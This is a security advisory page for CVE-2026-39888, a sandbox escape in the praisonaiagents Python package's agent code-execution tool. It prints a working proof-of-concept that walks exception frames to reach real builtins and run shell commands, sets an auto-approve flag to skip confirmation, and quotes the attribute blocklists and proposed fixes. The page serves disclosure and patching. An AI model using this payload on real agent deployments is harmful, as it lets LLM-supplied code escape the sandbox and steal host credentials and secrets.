Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
CRITICAL severity

CVE-2026-39888 — praisonaiagents

CRITICAL

CVE-2026-39888 is a critical-severity (CVSS 9.9) remote code execution vulnerability in praisonaiagents. A fix is available for praisonaiagents — see the affected versions and patch details below.

PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)

Also known asPYSEC-2026-486
Published
Apr 8, 2026
Updated
Jun 29, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 24, 2026 · OSV.dev, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs47th percentile — riskier than 47% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-39888 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍praisonaiagents

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

execute_code() in praisonaiagents.tools.python_tools defaults to sandbox_mode="sandbox", which runs user code in a subprocess wrapped with a restricted __builtins__ dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (blocked_attrs, line 143 of python_tools.py) contains only 11 attribute names — a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list:

AttributeIn subprocess blocked_attrsIn direct-mode _blocked_attrs
__traceback__NOYES
tb_frameNOYES
f_backNOYES
f_builtinsNOYES

Chaining these attributes through a caught exception exposes the real Python builtins dict of the subprocess wrapper frame, from which exec can be retrieved and called under a non-blocked variable name — bypassing every remaining security layer.

Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.


Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical

VectorValueRationale
AV:NNetworkexecute_code is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments
AC:LLowNo race conditions or special configuration required
PR:LLowRequires ability to submit code through an agent (typical end-user privilege)
UI:NNoneNo victim interaction
S:CChangedEscapes subprocess sandbox into full host process context
C:HHighArbitrary file read, environment variable access, credential exfiltration
I:HHighArbitrary file write, arbitrary code execution on host
A:HHighCan terminate processes, exhaust resources

Affected

  • Package: praisonaiagents (PyPI)
  • Affected versions: all versions shipping sandbox_mode="sandbox" (default since introduction) through 1.5.113
  • Patched versions: none at time of report
  • File: praisonaiagents/tools/python_tools.py

Root Cause

Two separate blocked_attrs sets — one much weaker than the other

_validate_code_ast() (line 39, used by direct mode) blocks 30+ attributes:

# python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs)
_blocked_attrs = frozenset({
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',   # ← present here
    '__wrapped__', '__closure__', '__annotations__',
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← present here
    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here
    'co_consts', 'co_names',
})

The subprocess wrapper script written to disk (line 143) uses a separate, inline blocked_attrs with only 11 entries — the frame-traversal attrs are missing:

# python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs)
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__'
    # __traceback__, tb_frame, f_back, f_builtins — all absent
}

_safe_getattr does not protect direct dot-notation access

_safe_getattr replaces the getattr builtin and blocks attribute names starting with _. However, it is only invoked when user code explicitly calls getattr(obj, name). Direct attribute access (obj.attr in source) uses Python's C-level tp_getattro slot and never passes through _safe_getattr. The AST check is therefore the only barrier to direct attribute access, and it is insufficient.

No text-pattern blocklist in subprocess mode

_execute_code_direct applies a text-pattern blocklist (dangerous_patterns) as a defence-in-depth layer. _execute_code_sandboxed has no such layer — only the AST check runs.


Proof of Concept

import os
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
from praisonaiagents.tools.python_tools import execute_code

CMD = "id"   # any shell command

payload = f"""
try:
    1/0
except ZeroDivisionError as e:
    _p = e.__traceback__.tb_frame.f_back
    _x = _p.f_builtins["exec"]
    _x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())",
       {{"__builtins__": _p.f_builtins}})
"""

result = execute_code(code=payload)
print(result["stdout"])

Output (praisonaiagents 1.5.113, Python 3.10):

uid=1000(user) gid=1000(user) groups=1000(user)
<img width="775" height="429" alt="image" src="https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf" />

Why each defence is bypassed:

LayerStatusReason
AST blocked_attrsBYPASSED__traceback__, tb_frame, f_back, f_builtins not in 11-item subprocess list
_safe_getattrBYPASSEDOnly intercepts getattr() calls; dot notation uses C-level tp_getattro
exec-by-name AST checkBYPASSEDCalled as _x(...) — func.id is '_x', not 'exec'
Text-pattern blocklistN/ADoes not exist in subprocess mode
Subprocess process isolationBYPASSEDFrame traversal reaches real builtins within the subprocess

Attack Chain

execute_code(payload)
  └─ _execute_code_sandboxed()
       └─ subprocess: exec(user_code, safe_globals)
            └─ user_code raises ZeroDivisionError
                 └─ e.__traceback__           ← __traceback__ not in blocked_attrs
                      └─ .tb_frame           ← tb_frame not in blocked_attrs
                           └─ .f_back        ← f_back not in blocked_attrs
                                └─ .f_builtins  ← f_builtins not in blocked_attrs
                                     └─ ["exec"]  ← dict subscript, no attr check
                                          └─ _x("import subprocess; ...")
                                               └─ RCE

Impact

Any application that exposes execute_code to user-controlled or LLM-generated input — including all standard PraisonAI agent deployments — is fully compromised by a single API call:

  • Arbitrary command execution on the host (in the subprocess user context)
  • File system read/write — source code, credentials, .env files, SSH keys
  • Environment variable exfiltration — API keys, secrets passed to the agent process
  • Network access — outbound connections to attacker infrastructure unaffected by env={}
  • Lateral movement — the subprocess inherits the host's network stack and filesystem

Suggested Fix

1. Merge blocked_attrs into a single shared constant

The subprocess wrapper must use the same attribute blocklist as the direct mode. Replace the inline blocked_attrs in the wrapper template with the full set:

# Add to subprocess wrapper template (python_tools.py ~line 143):
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',    # ← ADD
    '__wrapped__', '__closure__', '__annotations__',  # ← ADD
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',    # ← ADD
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← ADD
    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← ADD
    'co_consts', 'co_names',                          # ← ADD
}

2. Block all _-prefixed attribute access at AST level

_safe_getattr only covers getattr() calls. Add a blanket AST rule to block any ast.Attribute node whose attr starts with _:

if isinstance(node, ast.Attribute) and node.attr.startswith('_'):
    return f"Access to private attribute '{node.attr}' is restricted"

3. Add the text-pattern layer to subprocess mode

Mirror _execute_code_direct's dangerous_patterns check in _execute_code_sandboxed as defence-in-depth.


References

  • Affected file: praisonaiagents/tools/python_tools.py (PyPI: praisonaiagents)
  • CWE-693: Protection Mechanism Failure
  • CWE-657: Violation of Secure Design Principles

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonaiagentsall versions1.5.115pip install --upgrade 'praisonaiagents==1.5.115'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonaiagents, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update praisonaiagents to 1.5.115 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-39888 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-39888 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-39888. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `execute_code()` in `praisonaiagents.tools.python_tools` defaults to `sandbox_mode="sandbox"`, which runs user code in a subprocess wrapped with a restricted `__builtins__` dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (`blocked_attrs`, line 143 of `python_tools.py`) contains only 11 attribute names — a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list: | Attribute | In subprocess `blocked_attrs` | In direct
O3 Security · Impact-Aware SCA

Is CVE-2026-39888 in your dependencies?

O3 Security finds CVE-2026-39888 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-39888: praisonaiagents (Critical 9.9) | O3 Security